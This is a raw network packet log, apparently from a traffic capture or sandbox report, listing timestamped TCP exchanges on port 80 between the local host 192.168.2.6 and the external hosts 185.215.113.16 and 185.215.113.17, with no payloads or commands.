Dec 18, 2024 12:00:19.945756912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.945818901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.946094036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.946175098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.947299004 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.947345972 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.947371960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.947444916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.948837042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.948966980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.948995113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.949078083 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.950407028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.950481892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.950509071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.950587034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.952002048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.952044964 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.952094078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.953353882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.953419924 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.953449965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.953541994 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.955133915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.955185890 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.955199003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.955239058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.956275940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.956368923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.956478119 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.956540108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.957896948 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.957916975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.957963943 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.957963943 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.959187031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.959279060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.959283113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.959330082 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.960666895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.960768938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.960820913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.960880995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.962461948 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.962532043 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.962598085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.962661982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.963973045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.964047909 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.964133978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.964240074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.965516090 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.965564966 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.965612888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.965703011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.966727972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.966797113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.966824055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.967019081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.968106031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.968157053 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.968199015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.968199015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.969480038 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.969571114 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.969604015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.969614029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.970685959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.970761061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.970822096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.970909119 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.972348928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.972491026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.972533941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.973747969 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.973823071 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.973849058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.973937035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.975238085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.975297928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.975332022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.975332022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.976484060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.976542950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.976897955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.976967096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.977678061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.977725029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.978075027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.978131056 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.979345083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.979418993 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.979445934 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.979490995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.980665922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.980760098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.980797052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.980865955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.982235909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.982336044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.982388973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.982498884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.983583927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.983597040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.983652115 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.983669043 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.984862089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.985080957 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.985106945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.985486031 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.986321926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.986380100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.986382008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.986485004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.987884998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.987974882 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.988102913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.988202095 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.989152908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.989350080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.989362955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.989430904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.990993023 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.991079092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.991142035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.991230011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.992280960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.992333889 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.992393970 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.992455959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.993768930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.993787050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.993860960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.993860960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.995044947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.995090008 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.995122910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.995177984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.996319056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.996439934 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.996767044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.997075081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.997864962 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.997965097 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.998203993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.998275995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.999255896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.999320030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.999330997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.999502897 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.000675917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.000807047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.001189947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.001245975 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.002201080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.002250910 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.002315044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.002432108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.003648996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.003745079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.003750086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.003798962 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.004908085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.004996061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.005024910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.005094051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.006273985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.006367922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.114984989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:20.115179062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:20.122668982 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.122742891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.122761011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.122807980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.123267889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.123280048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.123337984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.124486923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.124576092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.124602079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.124725103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.125689983 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.125735044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.125775099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.125828981 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.127046108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.127093077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.127118111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.127145052 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.128213882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.128225088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.128273964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.129502058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.129569054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.129627943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.129806042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.130654097 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.130768061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.130794048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.130840063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.132278919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.132329941 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.132344961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.132385015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.133493900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.133517981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.133589029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.133589029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.134231091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.134243965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.134305954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.135215044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.135226965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.135284901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.136049986 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.136100054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.136209965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.136292934 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.137278080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.137341976 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.137381077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.137547970 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.138516903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.138600111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.138811111 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.138917923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.139885902 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.139898062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.139955997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.139955997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.141074896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.141144037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.141201973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.141269922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.142518997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.142618895 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.142692089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.142746925 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.143497944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.143623114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.143649101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.143754959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.144345045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.144401073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.144505978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.144638062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.145782948 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.145796061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.145859957 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.147278070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.147401094 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.147505045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.147639990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.148710012 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.148783922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.148806095 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.148844957 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.149616003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.149636984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.149780035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.150336981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.150398016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.150418043 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.150466919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.151746035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.151757956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.151865005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.152699947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.152782917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.152837992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.152837992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.153837919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.153923035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.153951883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.154066086 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.155329943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.155349016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.155400038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.155400038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.156404972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.156456947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.156481028 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.156500101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.157538891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.157617092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.157665014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.158821106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.158833027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.158889055 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.159775972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.159789085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.159840107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.159840107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.160957098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.161024094 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.161056042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.161190033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.162178993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.162223101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.162250042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.162511110 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.163305044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.163357973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.163434029 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.163485050 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.164762974 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.164863110 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.164891005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.165174961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.165952921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.166016102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.166114092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.166219950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.167227983 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.167267084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.167304993 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.167304993 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.168433905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.168446064 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.168502092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.168502092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.169874907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.169935942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.170109987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.170180082 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.171561956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.171674013 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.171701908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.171833992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.172765017 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.172820091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.172869921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.172977924 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.174057961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.174119949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.174145937 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.174236059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.175081968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.175092936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.175147057 CET	49938	80	192.168.2.6	185.215.113.16
